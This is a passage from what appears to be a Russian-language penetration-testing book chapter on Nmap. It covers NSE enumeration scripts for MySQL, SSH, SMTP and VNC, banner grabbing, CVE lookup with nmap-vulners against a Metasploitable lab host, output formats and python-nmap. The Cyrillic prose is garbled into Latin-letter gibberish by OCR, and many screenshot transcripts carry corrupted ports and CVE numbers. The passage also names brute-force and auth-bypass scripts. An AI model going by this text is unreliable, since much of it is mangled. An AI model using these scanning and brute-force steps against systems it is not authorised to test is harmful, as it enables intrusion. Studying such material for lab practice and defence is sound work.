Pucynox 1-24. Boi6oo NMAP-ckpunma mysql-info, evinonnennozo ons
yenesoeo IP-adpeca
Hwxe nprBeneHbl HEKOTOPBIE TONOTHUTENBHBIE cieHapuu NMAP st
nepeunciaenus MySQL:

A\ mysql-databases

A\ mysgl-enum

!\ mysql-brute

!\ mysql-query

A\ mysql-empty-password

)\ mysql-vuln-cve2012-2122
o\ mysql-users

A\ mysql-variables
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MNepeuncnexHne SSH

[Ipotoxon Secure Shell (SSH) mmpoko ucnons3yercs A 6€30macHOro
yAaJCHHOTO BXO/a ¥ aAMHUHUCTpUpoBaHus. B otnuune ot Telnet, SSH
mudpyet Tpaduk, odecneunBas 6e30nacHOCTh cBsi3u. OH paboTaeT Ha MOPTY
22 mo ymomuanuio. NMAP nmeet cieHapun A1 iepedncienns cryxosr SSH.
Ha pucynke 1-25 nmoka3zan BbIBoj cuieHapus ssh2-enum-algos. B vem
MePEYHCIICHBI Pa3JIMYHbIEC AITOPUTMbI IIM(POBAHUS, TOAICP)KUBAEMBIC
1eneBsIM cepepoM SSH.

Zenmap

Scan Tools Profile Help

Target 1192.168.25.129 v Profite:

Command: |nmap --script ssh2-enum-algos] 192.168.25.129

| Hosts | Services Nmap Cutput ' Ports / Hosts - Topolegy Host Details  Scans
05 Host . || nmap --script ssh2-enum-algos 192.168.25.129

4. 1921682512

Starting Nmap 7.60 ( https://nmap.org ) at 2018-09-19 15:24 IST
Nmap scan report for 192.168.25.129
Host is up (6.6665s latency)
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
ssh2-enum-algos:
kex algorithms: (4)
diffie-hellman-group-exchange-sha256
diffie-hellman-group-exchange-shal
diffie-hellman-groupld-shal
diffie-hellman-groupl-shal
server host key algorithms: (2)
ssh-rsa
ssh-dss
encryption algorithms: (13)
aes128-cbe
3des-cbe
blowfish-cbc
cast128-cbc
arcfourl28
arcfour256
arcfour
aes192-cbc
aes256-cbe
rijndael-cbe@lysator.liu.se
aesl2g-ctr
aesl92-ctr
aes256-ctr
mac_algorithms: (7)
hmac-md5
hmac-shal
umac-64@openssh.com
hmac-ripend160
hmac-ripemd160@openssh. com
hmac-shal-96
hmac-md5-96
compression algorithas: (2)
none
zlib@openssh.com

Pucynoxk 1-25. Bvicoo cyenapus NMAP ssh2-enum-algos, ébinoinenno2o ois
yenesozo IP-adpeca
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Huxe npuBeneHsl HEKOTOPHIE TOTONHUTENBHBIE clieHapuu NMAP nns
SSH:

o\ ssh-brute

o\ ssh-auth-methods

o\ ssh-run

\ ssh-hostkey

o\ sshvl

A\ ssh-publickey-acceptance

MNepeuncneHne SMTP

[Ipocroii mpoTokon nmepenaun noutsl (SMTP) ncnons3yercs nis nepenadn
3NeKTpoHHOM mouThl. OH paboTaer Ha mopTy 25 no ymon4anuio. NMAP
UMeeT HECKOJIBKO ClIeHapHeEB IS epedrcieHus ciyxos1 SMTP. Otu
cueHapuu NMAP moryT BeIsIBUTE HEKOTOpBIE HegocTtaTku SMTP-cepsepa,
TaKkHe KaKk OTKPBITHIE pelie, IPUHATHE TPOM3BONIbHBIX KoMaHa U T. /1. Ha
pucyHke 1-26 mokaszaH BbIBOJ ClicHapus smtp-command. B Hem nepeuuciieHs

pa3nM4YHble KOMaHAbI, KOTOpBIe MpUHUMAET Lenesoit SMTP-cepsep.
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an Jooks Profile Help

farget: |192 16825129 v Profie

Command. . {nenep --script sentp-commandd] 192.168.25.129

Hosts || Services | Nmup Cutput | Ponts £ Hosts ' Topelogy ' Host Detils * Scars
T A ~-5cript smip-commands 192.168.25.129

6. 192168751

Starting Naap 7.60 ( https://nmap.org ) at 2018-09-19 15:20 IST
Nrap scan report for 192.168.25.129

open Ttp

open ssh

open  telnet

open _sutp

5] metasploitable. localdomain, PIPELINING, SIZE 10246000, VRFY, ETRN, SYARTTLS, ENMANCEDSTATUSCODES, BBITMIME, DSN,

domni
80/tcp  open http
111/tcp open rpebind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login
514/tcp opem shell
1099/tcp open reiregistry
1524/tcp opan ingreslock
cp open nfs

1/tcp open  ceproxy-ftp
6/tcp open mysql

5500/tcp
6000/tcp open X3

6067/tcp open dre

8005/tcp open  ajpld

2130/tcp open  unknown

BAC Address: 00:0C:29:11:BE:B1 (VMware)

feap dome: 1 IP address (1 host up) scanned in 1.82 seconds

Pucynok 1-26. Bvi6oo smtp-komano cyenapus NMAP, evinonnennuix 0ns
yenesozo IP-adpeca

Muorue SMTP-cepBepsl 10 OMIMOKE BKIFOYAIOT OTKPBITYIO
peTpaHcisinyio. DTO Mo3BoIsET Jobomy noakimodarscst kK SMTP-cepsepy
0e3 ayTeHTHU(UKALUHN U OTIPABIATH [TOYTY. ITO IEHCTBUTENHFHO KPUTHUECKUI
Henoctatok. B NMAP ectb ckpunt smtp-Open-relay, KOTOpblii IpoBepsIeT,
paspernaet nu rieneBoir SMTP-cepBep OTKpBIBaTh perie, Kak MoKa3aHo Ha
pucynke 1-27.
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Zenmap co00
Scan Tools Profile Help
Target: [192.168.25.120 v Profile ¥ | Scan
Command: [nmap script smtp-open-relay 192.168.25.129 ]
@ Services Nmap Output | Ports / Hosts - Topology Host Detals | Scans
nmap --script smitp-open-relay 192.168.25.129 — Detals

Starting Nmap 7.60 ( https://nmap.org ) at 2018-09-28 12:40 IST
Nmap scan report for 192.168.25.129

Host is up (D.8053s latency).

Not_shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tep open ssh

23/tcp  open telnet

25/tcp open satp

¥ 192.168.25.13

| smtp-open-relay: Server doesn't seem to be an open relay, all tests failed

domain

http
rpcbind
netbios-ssn
microsoft-ds
exec

login

shell
rmiregistry
ingreslock
nfs
ceproxy-ftp
mysql
postgresql
vnc

Xx11

ire

S3/tep
80/tcp
111/tcp
139/tep
445/tcp
512/tcp
513/tcp
514/tep
1099/tcp
1524/tcp
2049/tcp
2121/tep
3306/tcp
5432/tcp
5900/tcp
6000/tcp
6667 /tcp
8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 60:0C:29:11:8E:B1 (VMware)

open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open

Nmap_done: 1 IP address {1 host up) scanned in 19.19 seconds
e —T

Filter Hosts.

Pucynox 1-27. Bvioo cyenapus NMAP smtp-open-

yenesozo IP-adpeca

relay, evinonnennozo ons

Hwmxe npuBeneHb HEKOTOPBIE TOTIOTHUTENbHEIE ciieHapun NMAP ais

SMTP:

smtp-enum-users
smtp-commands
smtp-brute
smtp-ntim-info
smtp-strangeport

smtp-vuln-cve2011-1764

33



maBa 1 BeegeHne B NMAP

[MepeuncnerHune VNC

[Ipotoxon Virtual Network Computing (VNC) 00bIYHO HCTIONB3yeTCS IS
YIAJIEHHOTO COBMECTHOTO UCTIOIB30BaHUs Tpadudeckoro padoyero crtoma. OH
paboraer Ha opty 5900 o ymomrganwo. NMAP nMeeT HECKOIBKO
crieHapueB 1uis iepedrcienns cayk0e1 VNC. PucyHok 1-28 moka3biBaer
BBIBOJI crieHapusi vnc-info. OH nmoka3biBaeT MOAPOOHOCTH BEPCUH MTPOTOKOJIA

BMECTC C THIIOM a}ITCHTI/I(bI/IKaHI/II/I.

Zenmap
5can Tools Profile Help
farget: |192.168.25.129 v | Profite:
command: ‘rn'“ap --script vnc-info 192.168.25.129

Hosts | Services Nmap Output | Ports / Hosts  Topology Host Details - Scans
0S  Host , | nmap --script vnc-info 192.168.25.129

4. 192168251

Starting Nmap 7.60 ( https://nmap.org ) at 2018-09-19 15:13 IST
Nmap scan report for 192.168.25.129
Host is up (0.0044s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp  open ftp
22/tep open ssh
23/tcp open telnet
25/tcp open satp
53/tcp open domain
80/tcp open http
111/tcp open rpebind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
| jvnc-info:
Protocol version: 3.3
Security types:
VNC Authentication (2)
6000/tcp open X1l
6667/tcp open irc
8009/tcp open ajpl3
B180/tcp open unknown
MAC Address: 00:0C:29:11:8E:B1 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.76 seconds

Pucynox 1-28. Boieoo NMAP ckpunma vnc-info ons yenesozo IP-adpeca
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Huxe npuBeeHs! HEKOTOPHIE TOTONHUTENBHBIE clieHapuu NMAP ans
VNC:

"\ vnc-brute
A\ realvnc-auth-bypass
o\ vnc-title

CepBuCHbIN BaHHEpPHbIN 3axBaT

JIro06oii cepBuUC, paboTarOIIM B CUCTEME, OOBIYHO UMEET CBSA3aHHBIN C HUM
Oannep. banHep 00BIYHO cOAEPKUT HHPOPMAIHIO O BEPCHUU CEpBEpa U MOXKET
Jaxke cofepkaTh HHPOPMAIHIO 0 KOHKPETHOW OpraHu3aliy, TaKylo KaK
3asBJICHUS 00 OTKa3e, MPeayNpekICHHS UM HEKOTOPbIE KOPIIOPATHBHBIC
ajipeca dIEKTPOHHON NMoUThl. KOHEUHO, CTOUT MOTyYUTh CEPBUCHBIE OaHHEPHI,
YTOOBI OMY4HTh OoJbIe nH(popMaluu o rienu. bannep cuenapus NMAP
MIPOBEPSIET BCE CEPBUCHI, pabOTAONINE HA LIENH, M 3aXBaTHIBAET UX OaHHEPHI,

KaK MOKa3aHo Ha pucyHke 1-29.
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Zenmap eee
Scan Tools Profile Help

Torget: [192.168.25.129 v Profle v [San

Command: [nm:‘ script banner 192.168.25.129

Hosts | Services Nmap Output | Ports / Hosts  Topology Host Detals | Scans
05  Host | nmap --script banner 192.168.25.129 . Detads

T 192168251
Starting Nmap 7.60 ( https://nmap.org ) at 2018-09-28 11:35 IST

Nmap scan report for 192.168.25.129
Host is up (8.00067s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tep open ftp
| _banner: 220 (vsFTPd 2.3.4)
22/tcp  open ssh
| banner: S5H-2.0-OpenSSH 4.7pl Debian-8ubuntul
23/tcp open telnet
| _banner: \xFF\XFD\x18\xFF\XFD \xFF\xFD#\xFF\xFD
25/tcp  open smtp
| banner: 226 metasploitable.localdomain ESMTP Postfix (Ubuntu)
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
| banner: \x81lwhere are you?
S13/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tecp open ingreslock
|_banner: root@metasploitable:/#
2049/tcp open nfs
2121/tcp open ccproxy-ftp
| _banner: 220 ProFTPD 1.3.1 Server (Debian) [::ffff:192.168.25.129]
3306/tcp open mysql
| banner: >\x88\x06\x08\x0A5.0.51a-3ubuntus\x80\x07\x80\x00\x80f${db>QY\x
| BB, \xAA\xB8\x02\x00\x00\x08\x00\x00\x00\x00\x00\x80\x00\ %008\ x00\x00\ . .
$432/tcp open postgresql
5900/tcp open vnc
banner: RFB 603.003
6000/tcp open X11
6667/tcp open irc
| banner: :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostna
| me...\x0D\xBA:irc.Metasploitable .LAN NOTICE AUTH :*** Couldn't resol..
8009/tcp open ajpll
8180/tcp open unknown
., BAC Address: 09:0C:29:11:8E:81 (VMware)
- —
Filter Hosts Maap done: 1 IP address (1 host up) scanned in 17.19 seconds

Pucynok 1-29. Bvisoo ckpunma NMAP banner, svinonnennozo s
yenesozo IP-adpeca

Ob6HapyXeHne ya3BUMocCTen

Jo cux mop BbI BuAenu BosMoxkHocTd NMAP 1o ckanupoBaHUIo U
TIepEUnCIeHUIO TTOPTOB. Terneps Bbl yBuanuTe, Kak NMAP MoXHO
KCIIONIb30BATh IS OLEHKU ysi3BUMOCTU. HecMoTps Ha To, yTo NMAP He
TaKO BCeOOBEMITIONIHNH, KaK CKaHEPHI YI3BUMOCTEH, Takue Kak Nessus 1
OpenVAS, oH, 6€3yCII0BHO, MOXKET OOHAPY)KUBaTh OCHOBHBIC YSI3BUMOCTH.
NMAP nenaer 370 ¢ momoinbeo uaeHtudukaropo Common Vulnerabilities
and Exposure (CVE). On umer nogxoasmue CVE st cmyx06, paboTarorux

Ha nenu. Utoowt npeBpatute NMAP B ckaHep ySa3BUMOCTEH, CHaYana
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HEOOXOIMMO 3arpy3UTh M YCTAaHOBHTH HECKOJIBKO AOTIOTHUTEIBHBIX
cueHapueB. Pucyrok 1-30 moka3siBaeT yCTaHOBKY HEOOXOIUMBIX CKPHIITOB.
CHauvana BbI IIepexoJIiuTe B KaTaor /usr/share/nmap/scripts, a 3arem

KJIOHUpYETE IBE TUPEKTOPUH git, KaK MOKA3aHO 3/1eCh:
*\ https://github.com/vulnersCom/nmap-vulners.git

*\ https://github.com/scipag/vulscan.git

root@kali: /usr/share/nmap/scripts e o0

File Edit View Search Terminal Help

root@kali:~# cd /usr/share/nmap/scripts/

root@kali:/usr/share/nmap/scripts# git clone https://github.com/vulnersCom/nmap-v
ulners.git

Cloning into 'nmap-vulners'...

remote: Enumerating objects: 46, done.

remote: Total 460 (delta 0), reused 0 (delta 0), pack-reused 40

Unpacking objects: 100% (40/40), done.

root@kali: /usr/share/nmap/scripts# git clone https://github.com/scipag/vulscan.gi
t

Cloning into 'vulscan'...

remote: Enumerating objects: 231, done.

remote: Total 231 (delta ©), reused 0 (delta 0), pack-reused 231

Receiving objects: 100% (231/231), 13.41 MiB | 232.00 KiB/s, done.

Resolving deltas: 100% (144/144), done.

root@kali: /usr/share/nmap/scripts#

Pucynox 1-30. Git knonupyem nmap-vulners 6 10KanibHbili KAMAL02

[Mocne Toro, Kak BbI 3arpy3uiId HEOOXOJMMBIE CIICHAPUH, Y Bac BCe
TOTOBO JIsA UX BBIIIOJITHCEHUS B OTHOILIICHWH 1LICJIN. Br1 MmoxkeTe
HCIIONIb30BaTh KOMaHy nmap -SV - Script nmap-vulners <uenesoii IP-

ajzipec>, KaK OKa3aHo Ha pucynke 1-31.
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Zenmap
Scan Tools Profite Help

Target: [192.168.25.120 v Profiie: |

Command: |pmap -sV --script nmap-vulners 192.168.25.129

| Hosts || Services | | Nmap Output | Ports / Hosts | Topology  Host Details ' Scans

0s nmap -sV --script nmap-vulners 192.168.25.129

Starting Nmap 7.68 ( https://nmap.org ) at 2018-09-21 14:30 IST
Nmap scan report for 192.168.25.129
Host is up (0.00028s latency).

i 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl Debian Bubuntul (protocol 2.0)
23/tcp  open telnet Linux telnetd

25/tcp  open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

| vulners:

| cpe:/a:isc:bind:9.4.2:
CVE-2008-0122
CVE-2012-1667
CVE-2012-3817
CVE-2008-4163
CVE-2012-4244
CVE-2014-8500
CVE-2012-5166
CVE-2010-08382
CVE-2015-8461
CVE-20815-8704
CVE-20609-00825
CVE-2015-8705
CVE-2010-3614
CVE-2009-08265
CVE-2016-8864
CVE-2016-1286
CVE-2012-10833
CVE-2016-9131
CVE-2015-8000
CVE-2016-2848
CVE-2016-9444
CVE-2011-1910
CVE-2011-4313
CVE-2009-0696
CVE-2016-1285
CVE-2010-0097
CVE-2016-2775
CVE-2016-6170
CVE-2010-0290
CVE-2009-4022

@
)

https://vulners.com/cve/CVE-2008-0122
https://vulners.com/cve/CVE-2012-1667
https://vulners.com/cve/CVE-2012-3817
https://vulners.com/cve/CVE-2008-4163
https://vulners.com/cve/CVE-2012-4244
https://vulners.com/cve/CVE-20814-8500
https://vulners.com/cve/CVE-2612-5166
https://vulners.com/cve/CVE-2010-0382
https://vulners.com/cve/CVE-2015-8461
https://vulners.com/cve/CVE-2015-8704
https://vulners.com/cve/CVE-2009-0025
https://vulners.com/cve/CVE-2015-8705
https://vulners.com/cve/CVE-2010-3614
https://vulners.com/cve/CVE-2009-0265
https://vulners.com/cve/CVE-2016-8864
https://vulners.com/cve/CVE-2016-1286
https://vulners.com/cve/CVE-2012-1833
https://vulners.com/cve/CVE-2016-9131
https://vulners.com/cve/CVE-2015-8000
https://vulners.com/cve/CVE-2016-2848
https://vulners.com/cve/CVE-2016-9444
https://vulners,com/cve/CVE-2011-1910
https://vulners.com/cve/CVE-2011-4313
https://vulners.com/cve/CVE-2009-8696
https://vulners.com/cve/CVE-2016-1285
https://vulners.com/cve/CVE-2010-0897
https://vulners.com/cve/CVE-2016-2775
https://vulners.com/cve/CVE-2016-6170
https://vulners.com/cve/CVE-2010-0290
https://vulners.com/cve/CVE-2009-4022

NBELLBBBEOVMUUUVLUUUUROD D NN NSNS NN O
PP UWWWWNDODPROPDPDDROLORD OB OR®D® W

Pucynox 1-31. Bvieoo NMAP-ckpunma nmap-vulners, 8binoiuenHozo 0aa
yenegozo IP-adpeca

HNHuTepecHo, 4TO BBl MOXKETE BUAECTh MHOXKECTBO JOCTYNHBIX CVE mist
ISC BIND 9.4.2, pabotaromrero uepe3 TCP-opt 53. Ora undpopmanus CVE
MOJKET HUCITONIb30BATHCS JIJIS TaTbHEHUIIEro NCIIOIh30BaHuUS 1IeN. BhI Takxke
Mokete yBuaeTh Heckonbko CVE mis TCP-nopra 80, Ha koTropoM pabotaer
cepBep Apache httpd 2.2.8, kak nokazano Ha pucyHke 1-32.
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Zenmap

Scan Tools Profile Help
farget: [192.168.25.129 Profile: |
Command: [hmq; -sV —-script nmap-vulners 192.168.25.129
[Fostsl]| services | | Nmap Output | Ports / Hosts ' Topology. Host Detalss  Scans
05 IHost .| nmap -sV ~-script omap-vulners 192.168.25.129
m 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

| _http-server-header: Apache/2.2.8 (Ubuntu) DAV/2

| vulners:

cpe:/a:apache:http server:2.2.8:
CVE-2010-08425 10.9 https://vulners.com/cve/CVE-2010-8425

CVE-2011-3192
CVE-2017-7679
CVE-2013-2249
CVE-2609-1890
CVE-2009-1891
CVE-2012-0883
CVE-2809-3555
CVE-2012-1862
CVE-2007-6750
CVE-2014-8098
CVE-2609-2699
CVE-2013-6438
CVE-2011-3368
CVE-2068-2364
CVE-2014-0231
CVE-2010-0408
CVE-2010-1452
CVE-2009-1195
CVE-2612-8031
CVE-2011-3607
CVE-2012-4558
CVE-2010-8434
CVE-2012-3499
CVE-2€11-0419
CVE-2613-1896
CVE-2811-3348
CVE-2008-2939
CVE-2011-3639
CVE-2011-4317
CVE-2612-0053
CVE-2016-8612
CVE-2012-2687
CVE-2011-4415

NOWWWWWNWWNWWWIEOVDODODPOPDD D @O LN ®

ENWHEBAEBEBRBELEARBBANVNAVULULVLLBO NN NN

https://vulners.com/cve/CVE-2011-3192
https://vulners.com/cve/CVE-2017-7679
https://vulners,com/cve/CVE-2013-2249
https://vulners.com/cve/CVE-2009-1890
https://vulners.com/cve/CVE-2009-1891
https://vulners.com/cve/CVE-2012-6883
https://vulners.com/cve/CVE-2009-3555
https://vulners.com/cve/CVE-2013-1862
https://vulners.com/cve/CVE-2007-6758
https://vulners.com/cve/CVE-2014-0098
https://vulners.com/cve/CVE-2009-2699
https://vulners.com/cve/CVE-2013-6438
https://vulners.com/cve/CVE-2011-3368
https://vulners.com/cve/CVE-2008-2364
https://vulners.com/cve/CVE-2014-6231
https://vulners.com/cve/CVE-2010-8408
https://vulners.com/cve/CVE-2010-1452
https://vulners.com/cve/CVE-2009-1195
https://vulners.com/cve/CVE-2012-60831
https://vulners.com/cve/CVE-2011-3607
https://vulners.com/cve/CVE-2012-4558
https://vulners.com/cve/CVE-2010-8434
https://vulners.com/cve/CVE-2012-3499
https://vulners.com/cve/CVE-2011-8419
https://vulners.com/cve/CVE-2013-1896
https://vulners,com/cve/CVE-2011-3348
https://vulners.com/cve/CVE-2008-2939
https://vulners.com/cve/CVE-2011-3639
https://vulners.com/cve/CVE-2011-4317
https://vulners.com/cve/CVE-2012-6053
https://vulners.com/cve/CVE-2016-8612
https://vulners.com/cve/CVE-2012-2687
https://vulners.com/cve/CVE-2011-4415

Pucynox 1-32. Bvi6oo0 NMAP-ckpunma nmap-vulners, 8binoiHenHo20 0715

yenesozo IP-aopeca
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BbiBog NMAP

Jlo cux mop BBI CKAaHUPOBAIIK pa3nudHble mone3nbie Gpyakmm NMAP. Baxno
OTMETHUTb, YTO MPOAYKIHA, co3aanHast NMAP, moxxeT ObITh HCTIOIB30BaHA
JUTSE MHOTUX JPYTUX HHCTPYMEHTOB U MIPOIYKTOB OE€30MIACHOCTH.
CrenoBarebHO, BB IOJDKHEI 3HATH O PA3IMYHBIX (DopMarax BRIBOAA, KOTOPHIE

croco0en cosznaBatb NMAP, moka3aHHBIX 37€Ch:

aprymeHTt npumep Onucanue

-oN nmap 192.168.25.129 -oN | BeimonHsieT ckaHUpOBaHHUE
output.txt uenesoro [P-agpeca, a 3arem
3aMUChIBaeT OOBIYHBIN BHIBOJ B
¢aiin output.txt.

-0X nmap 192.168.25.129 -0X | BelmonHseT CkaHUPOBaHHUE
output.xml nenesoro [P-aapeca u 3arem
3aIIMCBIBAET OOBIYHEIN BBIBOJ B
¢aiin XML output.xml

-0G nmap 192.168.25.129 -0G | BeimonHseT cCKaHUPOBaHUE
output.grep uenesoro [P-anpeca u 3arem
3alHCHIBAET BBHIBOJMMBIC TAHHBIC B
¢aiin output.grep.

--append- |nmap 192.168.25.129 -oN | BeimosHsieT CKaHUPOBAHKE

output |file.file --append-output nenesoro IP-aapeca, a 3atem
J00ABIISET PE3yIIbTaThI
CKaHUPOBAHMS B ITPEIbI YN
(aiin ckaHUpOBaHUSI.

NMAP un Python

B »To0ii 171aBe BBI BUACIN MHOTOYHCIEHHBIE BO3MOKHOCTH NMAP 1 TO, Kak
MOXHO 3¢ deKTHBHO ncnonb3oBate NMAP nis cOopa nHpopmanmu,
MOJICUETa M aKTUBHOTO CKaHUpoBaHus. NMAP Takxke MOKET BBI3BIBATHCS U
BBITIOTHATHCA U3 Pa3HBIX S3BIKOB MPOTPaMMHUPOBAHUS, YTO JI€TAET ETO eIle
Oonee momHBIM. Python - uHTEpIIpEeTHPYEMBI SI3BIK IPOTPAMMHUPOBAHUS
BBICOKOTO YPOBHSI JUISI TPOrpaMMUpPOBaHsI 001ero Ha3HaueHus. Python
JEHCTBUTEIHHO YIOOHBIN 1 Ype3BbIYaifHO THOKMI. OH nMeeT OoraTelii Habop

TOTOBBIX K HCITOJIB30BaHUIO OUOIHOTEK IJI BBITIOJITHCHUA Pa3JIMYHBIX 3a1a4.
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JleTtanpHOE H3ydeHHE OCHOB U CHHTaKcHca si3blka Python BeIxoouT 3a pamku
9T0i1 KHurH. IIpennonaras, 4To y Bac €CTh HEKOTOpPbIe 0a30BbIE 3HAHUS O
Python, B 3ToM pa3nene OyaeT 0OCyKIaThesl, KaKk BBl MOXKETE NCTIOIh30BaTh
Python nns 3anmycka u aBroMatu3anuu ckaHupoBaHust NMAP.

Python ycranaBiuBaercs 1o ymMon4aHuio B OOJIBIIMHCTBE CUCTEM Ha
ocHoBe Unix. OpHako BaM HEOOXOAMMO YCTaHOBUTH OMOnmnoreky NMAP
oTzensHo. B cuctemax Ha ocHoBe Debian Bbl MOXeTe IIPOCTO UCIIONB30BATh
koMaHAy pip install python-nmap, kak nokazano na pucynke 1-33. Komanna
YCTaHOBUT HeoOXomumyro onbmmoreky NMAP.

root@Kkali: ~ @ ® 0
File Edit View Search Terminal Help
:~# pip install python-nmap
Collecting python-nmap
Downloading https://files.pythonhosted.org/packages/dc/f2/9ela2953d4d824e183ac
033e3d223055e40e695fabdb2cb3e94a864eaa84/python-nmap-0.6.1.tar.gz (41kB)
100% | N | 51<B 164kB/s
Building wheels for collected packages: python-nmap
Running setup.py bdist wheel for python-nmap ... done

Stored in directory: /root/.cache/pip/wheels/bb/a6/48/4d9e2285291b458c3f17064b
1ldac2f2fb0045736cb88562854
Successfully built python-nmap
Installing collected packages: python-nmap
Successfully installed python-nmap-0.6.1
L H#

Pucynoxk 1-33. Yemanoska bubruomexu python-nmap 6 cucmeme Ha 0CHO8¢
Debian

Teneps, Korna Bbl ycTaHOBHIIHM TpeOyeMyro 6nbimoreky NMAP,
3anycTuTe uHTeprperarop Python u3 repmunana, BBeis komanay python, u
umnoptupyite 6ndmoreky NMAP, kak nmokazaHo 31ech:

root@kali:~# python

Python 2.7.14+ (default, Dec 5 2017, 15:17:02)

[GCC 7.2.0] on linux2

Type "help", "copyright", "credits" or "license" for more
information.

>>> import nmap
>>>
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Teneps BBl MOXKETE CO3aTh HOBBIN OOBEKT ¢ IMEHEM NMmp JUIS BBI30BA
¢yukuu PortScanner. 3atem 3amycTuTe HOBOE CKAHHUPOBAHKE AJIS LIEIEBOTO
IP-agpeca 127.0.0.1 1 moptoB ot 1 10 50, KaKk MOKa3aHO 3/ECh:

> nmp = nmap.PortScanner()
> nmp.scan('127.0.0.1', '1-50")

CkaHUpOBaHUE 3aBEPUIACTCS U 1AET CIEIYIOLINI BbIBOA:

{'nmap': {'scanstats': {'uphosts': '1', 'timestr': 'Fri Sep

21 14:02:19 2018', 'downhosts': '0', 'totalhosts': '1',
'elapsed': '1.06'}, 'scaninfo': {'tcp': {'services': '1-50',
'method': 'syn'}}, 'command_line': 'nmap —oX — —-p 1-50 —sV
127.0.0.1'}, 'scan': {'127.0.0.1": {'status': {'state': 'up',
'reason': 'localhost-response'}, 'hostnames': [{'type': 'PTR',
'name': 'localhost'}], 'vendor': {}, 'addresses': {'ipv4':
'127.0.0.1'}, 'tep': {22: {'product': 'OpenSSH', 'state':

‘open', 'version': '7.7p1 Debian 4', 'name': 'ssh', 'conf':

"10', 'extrainfo': 'protocol 2.0', 'reason': 'syn—ack', 'cpe':
'‘cpe:/o:linux:linux_kernel'}}}}1}

XOTs TIpebI Ty BEIBOJ, SABIsieTCS HeoOpabOTaHHBIM, OH, 0€3yCIIOBHO,
MOXeT OBITH OT(OPMATHPOBAH C MUCMOIB30BaHHEM MHOTHX (yHkuuii Python.
ITocne TOrO, Kak BBl 3aMyCTHJIA HAadalbHOE CKAaHUPOBAHHE, BBl MOXKETE
HCCIIe0BaTh Pa3indHble QYHKIHMU IS TOJAYYCHHS OINMPEASICHHBIX JeTalci
CKaHHUPOBAaHMUSI.

scaninfo()

Oyukiums scaninfo() Bo3BpanaeT moIpoOHOCTH CKAHUPOBAHUS, TAKUE KaK
HCIIOJIB3YEMBII METOA U ITPOBEPEHHBIH 1HAIa30H NOPTOB.

>>> nmp.scaninfo()
{"tcp': {'services': '1-1024', 'method': 'syn'}}
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all_hosts()

Oynxnus all_hosts() Bo3BpamiaeT cnucok Bcex OTCKaHWPOBaHHBIX [P-anpecos.

> nmp.all_hosts()
['192.168.25.129']

state()

Oynkus state() Bo3BpalaeT cocTosHIe oTckanupoBanHoro [P / xocTa,

HalmpuMep, BKIIOYEH OH WJIM HET.

>  nmp['192.168.25.129'].state()

up

keys()

Oynxnus keys() Bo3BpalaeT ClMCOK BCEX OTKPBITHIX TTOPTOB, HAWJEHHBIX BO

BperI CKaHHpOBaHI/IfL
>>> nmp['192.168.25.129']['tcp'] .keys()
[512, 513, 514, 139, 111, 80, 53, 22, 23, 25, 445, 21]

has_tcp()

Oyuxiums has_tep() mposepsiet, ObLT TN ONpeeIeHHBII TOPT OTKPHIT
OTKPBITHIM BO BpeMsl CKaHHpOBaHUs LesieBoro IP-anpeca.

> nmp['192.168.25.129'] .has_tcp(22)

True

command_line()

Oynxnus command_line() Bo3BpaiuaeT Tounyro komanny NMAP, kotopas
BBITIOJTHSUIACH B (DOHOBOM PEKUME IS TOYyYCHHUS BBIXOAHBIX TaHHBIX.

>>> nmp.command_line() 'nmap —oX
- —-p 1-50 —-sV 127.0.0.1"
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hostname()

Oynknusa hostname() Bo3Bparaer ums xocta [P-agpeca, KoTopblii Bbl
IepefacTe B KA4eCTBE apryMeHTa.

> nmp['127.0.0.1'].hostnamel()

'localhost'

all_protocols()

®ynkuust all_protocols() Bo3Bpamaer Cucok MpoTOKOJIOB,
MOEP’KUBAEMBIX LieJIeBbIM [P-anpecom.

> nmp['127.0.0.1'].all_protocols()
['tcp']

Temeps, KoTa BBl 3HaeTe OCHOBHBIE (DYyHKIMH IS BbI3oBa NMAP u3
Python, BBl MokeTe HamucaTh HEKOTOPBIM mpoctol koa Python, xotopwrii
WCTIONBb3YeT ITMKI JUIs CKaHMpOBaHUS Heckolbkux IP-aapecoB. 3arem BbI
MOJKETE MCII0JIb30BaTh Pa3IuuHbIe PYHKIIMH 00pabOTKM TEKCTA I OUUCTKH

1 GopMaTUpOBaHHUS BBIBOJIA.

Pestome

B 571011 m1aBe BBl y3HaIM O KOHLENIHX OLICHKU YA3BUMOCTEH U TECTUPOBAHUS
Ha IPOHUKHOBEHHUE. Terneps Bbl IOHUMAETe pa3nuyHble (a3bl KUZHEHHOTO
[IMKJIa TECTUPOBAHUS Ha MPOHUKHOBEHNE U BaKHOCT NMAP, OpenVAS u
Metasploit, KOTOpbIE CIIOCOOHBI BBHIIOIHATH OOJIBIIMHCTBO 3aa4d Ha BCEX
JTanax >KU3HEHHOTO IIUKJIa TECTUPOBaHMSI HA IPOHUKHOBEHHUE.

B sT0I01 ri1aBe BbI MO3HAKOMMIIMCH C OCHOBAMH M OCHOBAMM MHCTPYMEHTA
NMAP u pacckazanu, Kak MOXKHO pacIIMpUTh Bo3MoxkHOCTH NMAP ¢
MIOMOIIIBIO CLIEHapHEB. B 3Tol m1aBe Takke paccMaTpUBAaETCsl MHTETPaLlus

NMAP co ckpuntamu Python.
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YnpaxHeHus «Caenan cam» (DIY)

o\ Veranosute NMAP B Windows u Ubuntu.

